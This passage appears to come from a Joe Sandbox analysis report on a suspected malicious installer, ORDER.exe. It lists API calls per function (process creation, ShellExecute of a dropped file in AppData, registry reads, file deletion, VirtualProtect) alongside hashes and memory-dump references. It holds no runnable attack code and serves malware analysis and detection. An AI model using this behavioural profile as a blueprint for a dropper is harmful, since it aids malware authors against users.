Instruction ID: f4ea3dfc62e5d1cff0d3b4274299d05e9f4495bdac059fa06bbe17ad9de4a94b
Opcode Fuzzy Hash: 18ce383e7496548239e61a876cd1621fb13a91c8cdd195502931e4b9b56164df
Instruction Fuzzy Hash: 1721C072A00211ABC720EBA4CE8895E73B9EB54714724C53BF505B32D0D77CE8119F2E

Function 00401E32 Relevance: 4.5, APIs: 3, Instructions: 48synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 0040501F: lstrlenA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nst4C1A.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C51,00000000,?), ref: 00405058
Part of subcall function 0040501F: lstrlenA.KERNEL32(00402C51,Skipped: C:\Users\user\AppData\Local\Temp\nst4C1A.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C51,00000000), ref: 00405068
Part of subcall function 0040501F: lstrcatA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nst4C1A.tmp\System.dll,00402C51,00402C51,Skipped: C:\Users\user\AppData\Local\Temp\nst4C1A.tmp\System.dll,00000000,00000000,00000000), ref: 0040507B
Part of subcall function 0040501F: SetWindowTextA.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nst4C1A.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nst4C1A.tmp\System.dll), ref: 0040508D
Part of subcall function 0040501F: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004050B3
Part of subcall function 0040501F: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 004050CD
Part of subcall function 0040501F: SendMessageA.USER32(?,00001013,?,00000000), ref: 004050DB

Part of subcall function 004054E5: CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00421500,Error launching installer), ref: 0040550E
Part of subcall function 004054E5: CloseHandle.KERNEL32(?), ref: 0040551B

WaitForSingleObject.KERNEL32(?,?,00000000,000000EB,00000000), ref: 00401E6C
GetExitCodeProcess.KERNEL32(?,?), ref: 00401E7C
CloseHandle.KERNELBASE(?,00000000,000000EB,00000000), ref: 00401EA1

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID: MessageSend$CloseHandleProcesslstrlen$CodeCreateExitObjectSingleTextWaitWindowlstrcat
String ID:
API String ID: 3521207402-0
Opcode ID: 6d5b4df7f3f042f549e26a8ca851069bd4f569f0361fe87acde780f9e8383ee7
Instruction ID: a57a420adebbec2e463a2757bf84d9d81012cc1a8c5c1569ff173e75ada2264d
Opcode Fuzzy Hash: 6d5b4df7f3f042f549e26a8ca851069bd4f569f0361fe87acde780f9e8383ee7
Instruction Fuzzy Hash: 66014031904114FBDF21AFA1DD859EE7B71EB40345F10857BFA01B51E1C3794A81EBAA

Function 00405C1D Relevance: 4.5, APIs: 3, Instructions: 45registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNELBASE(80000002,00405E62,00000000,00000002,?,00000002,?,?,00405E62,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405C46
RegQueryValueExA.KERNELBASE(?,?,00000000,00405E62,?,00405E62), ref: 00405C67
RegCloseKey.KERNELBASE(?), ref: 00405C88

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: a7dc294ab98d1aedf48ab84cf89b8b0d9a3be53888eb2216a8b2e534b80ab0d4
Instruction ID: f8269c4da42e469e915d7b724f411cb256963c2af92f405d5d85614ed9ec7fb6
Opcode Fuzzy Hash: a7dc294ab98d1aedf48ab84cf89b8b0d9a3be53888eb2216a8b2e534b80ab0d4
Instruction Fuzzy Hash: 8801487114420EEFEB128F64EC44EEB3FACEF15394F00402AF945A6220D235D964DBA5

Function 0040243A Relevance: 4.5, APIs: 3, Instructions: 44registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402B07: RegOpenKeyExA.KERNELBASE(00000000,0000044B,00000000,00000022,00000000,?,?), ref: 00402B2F

RegEnumKeyA.ADVAPI32(00000000,00000000,?,000003FF), ref: 00402468
RegEnumValueA.ADVAPI32(00000000,00000000,?,?,?,?,?,?,00000003), ref: 0040247B
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nst4C1A.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 00402490

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID: Enum$CloseOpenValue
String ID:
API String ID: 167947723-0
Opcode ID: 644ba4b7322b66dce4c699ceae064ea5186855f8b21283cab721fd429f29c5cc
Instruction ID: 09a8887cd5e4729410dcfabe5c46d2a670465c21522258ca6cdcbf1033b2090e
Opcode Fuzzy Hash: 644ba4b7322b66dce4c699ceae064ea5186855f8b21283cab721fd429f29c5cc
Instruction Fuzzy Hash: E8F08671904204FFD7119F659D8CEBF7A6CEB40748F10453EF441B62C0D6B95E41966A

Function 004055AE Relevance: 4.5, APIs: 3, Instructions: 28fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004059A2: GetFileAttributesA.KERNELBASE(?,?,004055BA,?,?,00000000,0040579D,?,?,?,?), ref: 004059A7
Part of subcall function 004059A2: SetFileAttributesA.KERNELBASE(?,00000000), ref: 004059BB

RemoveDirectoryA.KERNEL32(?,?,?,00000000,0040579D), ref: 004055C9
DeleteFileA.KERNELBASE(?,?,?,00000000,0040579D), ref: 004055D1
SetFileAttributesA.KERNEL32(?,00000000), ref: 004055E9

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID: File$Attributes$DeleteDirectoryRemove
String ID:
API String ID: 1655745494-0
Opcode ID: abd038863be241f110d95ccd9fde628896f101e4ff1c11c0b7d20b5ecf2a2518
Instruction ID: 12c6f0b15b18e033ed95b071f1fc2c07b3079c0683f10f414bd997d86f240b92
Opcode Fuzzy Hash: abd038863be241f110d95ccd9fde628896f101e4ff1c11c0b7d20b5ecf2a2518
Instruction Fuzzy Hash: 98E0E532518A5067C21057309D08A5F3ADADFCA324F044936F492F21D4DB7848068ABA

Function 00401DD8 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

ShellExecuteA.SHELL32(?,00000000,00000000,00000000,C:\Users\user\AppData\Local\Rhabdophora\frysere\turnpike,?), ref: 00401E1E

Strings

C:\Users\user\AppData\Local\Rhabdophora\frysere\turnpike, xrefs: 00401E09

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID: ExecuteShell
String ID: C:\Users\user\AppData\Local\Rhabdophora\frysere\turnpike
API String ID: 587946157-4182428349
Opcode ID: 66519f536f70328b3ce23f8ed94e950144d2fd5449f9bef0e6ae71cafd5ff2e4
Instruction ID: 92cbb6ba42742382510c3a8e41a68a30635fa0dc9ae6a59fa4a75f74f7b170a3
Opcode Fuzzy Hash: 66519f536f70328b3ce23f8ed94e950144d2fd5449f9bef0e6ae71cafd5ff2e4
Instruction Fuzzy Hash: 8DF0F6B3B041047ACB41ABB59E4AE5D2BA4EB41718F240A3BF400F71C2DAFC8841F728

Function 100027EC Relevance: 3.2, APIs: 2, Instructions: 156COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000), ref: 100028AB
GetLastError.KERNEL32 ref: 100029B2

Memory Dump Source

Source File: 00000000.00000002.32238167410.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.32238142205.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.32238195639.0000000010003000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.32238224100.0000000010005000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_ORDER.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 10da2a693ced731503c2d5b3de2f7fe8e431c949d2a6016fe146597bbe82a282
Instruction ID: 2b4501ff186f60f2b29b8b71d76009b37135a14f8b8ad132536a4a21bb517402
Opcode Fuzzy Hash: 10da2a693ced731503c2d5b3de2f7fe8e431c949d2a6016fe146597bbe82a282
Instruction Fuzzy Hash: 9E51A4BA908214DFFB14DF60DCC5B5937A8EB443D4F218429EA08E725DDF38A981CB94

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageA.USER32(?,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: a519dadb84f5fbb5742ded63e05e15cde03a873041ee9604df24846d4002906c
Instruction ID: da56ad7cfcb2a9fecb994a09e4a0bd113f750103611445cd7b28aada07ee45e3
Opcode Fuzzy Hash: a519dadb84f5fbb5742ded63e05e15cde03a873041ee9604df24846d4002906c
Instruction Fuzzy Hash: 2E012831B24210ABE7294B389D04B6A369CE710328F11823BF811F72F1D6B8DC42DB4D

Function 00401DAC Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000,?), ref: 00401DC2
EnableWindow.USER32(00000000,00000000), ref: 00401DCD

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: 5d4156b77268c72d9e3eaff2de93184d03509ee6b077f4337f4a820dda01516b
Instruction ID: 18ac702c75a7039fec00373c4f699ed09bc4c8ec852dd7b5b9a0ef8cb6e9c66a
Opcode Fuzzy Hash: 5d4156b77268c72d9e3eaff2de93184d03509ee6b077f4337f4a820dda01516b
Instruction Fuzzy Hash: 39E0CD72B04110EBCB10BBB45D4A55E3374DF10359B10443BF501F11C1D2B85C40565D

Function 004059C7 Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(00000003,00402CBC,C:\Users\user\Desktop\ORDER.exe,80000000,00000003), ref: 004059CB
CreateFileA.KERNELBASE(?,?,?,00000000,?,00000001,00000000), ref: 004059ED

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: b262a0f40d66ad03986e5cb00ab33bb84fd1bf9937e58ea257525f7228853690
Instruction ID: 21e5f81f3e52fa2c8f9e5bc24a994218dd140026ef3a1e453d479de883aad6ce
Opcode Fuzzy Hash: b262a0f40d66ad03986e5cb00ab33bb84fd1bf9937e58ea257525f7228853690
Instruction Fuzzy Hash: 94D09E31668301AFEF098F20DD16F2E7BA2EB84B00F10562CB682D40E0D6755815DB16

Function 004059A2 Relevance: 3.0, APIs: 2, Instructions: 13COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(?,?,004055BA,?,?,00000000,0040579D,?,?,?,?), ref: 004059A7
SetFileAttributesA.KERNELBASE(?,00000000), ref: 004059BB

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 9001e84463e5b3d4dd00ca1d2e00f3bb66c1d6c16300b22364f3152d7eb201de
Instruction ID: a98ca5448702c3e829ea1667e49b0be7f6aa4c87fef4348ac0342a167d80fd98
Opcode Fuzzy Hash: 9001e84463e5b3d4dd00ca1d2e00f3bb66c1d6c16300b22364f3152d7eb201de
Instruction Fuzzy Hash: 19D0C9B2918120EBC2102728AD0889BBF69EB542717018B31F865A22B0C7304C52DAA9

Function 00402519 Relevance: 1.6, APIs: 1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID: wsprintf
String ID:
API String ID: 2111968516-0
Opcode ID: 782d5d7a015de57d641f2625727537b2e8a64e8a203226d51b7ee4238bd53e1d
Instruction ID: 80d1f72451bcef36c881c8715d37a41c16cfaf5c23ac720a97db8ffa6bd4d959
Opcode Fuzzy Hash: 782d5d7a015de57d641f2625727537b2e8a64e8a203226d51b7ee4238bd53e1d
Instruction Fuzzy Hash: C121D870D05295BEDF229F644A581EEBBB09B05304F64407FE491BA3C5E1BC9A82CB2D

Function 0040223B Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

WritePrivateProfileStringA.KERNEL32(00000000,00000000,?,00000000), ref: 00402274

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID: PrivateProfileStringWrite
String ID:
API String ID: 390214022-0
Opcode ID: 9ff6483e56f83e050050973c75d29e7e6846100e3a8c6593062fb544488b0e4d
Instruction ID: 05d4d75dbd01593bae97f630dbecede8c42f44da552b6d0f9ca4defc7305ba5b
Opcode Fuzzy Hash: 9ff6483e56f83e050050973c75d29e7e6846100e3a8c6593062fb544488b0e4d
Instruction Fuzzy Hash: 2FE04F72B001696ADB903AF18F8DD7F21597B84304F15067EF611B62C2D9BC0D81A2B9

Function 004025D3 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,?,00000000,00000002,?,?), ref: 004025ED

Part of subcall function 00405C94: wsprintfA.USER32 ref: 00405CA1

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID: FilePointerwsprintf
String ID:
API String ID: 327478801-0
Opcode ID: f6b622efafe1ba94147637c824cd162c2e50e451d5b8b7382d4d1d46b47572d6
Instruction ID: 0a8c9e11f48196ea829b02b8213bca88da5b23a5d36cc3de3ae654890f4390ea
Opcode Fuzzy Hash: f6b622efafe1ba94147637c824cd162c2e50e451d5b8b7382d4d1d46b47572d6
Instruction Fuzzy Hash: E4E04FB6A04220BBDB01BBA59E4ADBF6768EB50309B14853BF501F40C1D3BD4802962E

Function 00402B07 Relevance: 1.5, APIs: 1, Instructions: 22registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNELBASE(00000000,0000044B,00000000,00000022,00000000,?,?), ref: 00402B2F

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: ebfeba3ed9c8d95cb46d76ca19a6c1a04daa5e79448631d0a062a8db0bedbb5d
Instruction ID: 087740a894708ae54e311fe38564fcb001a0ed9e3d0f4d4a62d19f1d4de25a1d
Opcode Fuzzy Hash: ebfeba3ed9c8d95cb46d76ca19a6c1a04daa5e79448631d0a062a8db0bedbb5d
Instruction Fuzzy Hash: 38E046B6250108AADB40EFA4EE4AF9537ECFB04700F008021BA08E7091CA78E5509B69

Function 00405A3F Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00409130,00000000,00000000,00000000,00000000,004128A0,0040A8A0,004031C9,00409130,00409130,004030BB,004128A0,00004000,?,00000000,?), ref: 00405A53

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 36ce21e0183dc59356ed1b7b138b7ffe2bb5c4fd6ccae5392a8977301763c5ee
Instruction ID: 55609983f428609d3339a900fe5ea2c3161a13bcf9e808ef2cae39733250456b
Opcode Fuzzy Hash: 36ce21e0183dc59356ed1b7b138b7ffe2bb5c4fd6ccae5392a8977301763c5ee
Instruction Fuzzy Hash: F7E08C3231025AABDF109EA09C40AEB3B6CEB00760F084432FA14E2040D230E9218FA5

Function 1000270F Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(1000404C,?,?,1000403C), ref: 1000272D

Memory Dump Source

Source File: 00000000.00000002.32238167410.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.32238142205.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.32238195639.0000000010003000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.32238224100.0000000010005000.00000002.00000001.01000000.00000007.sdmpDownload File

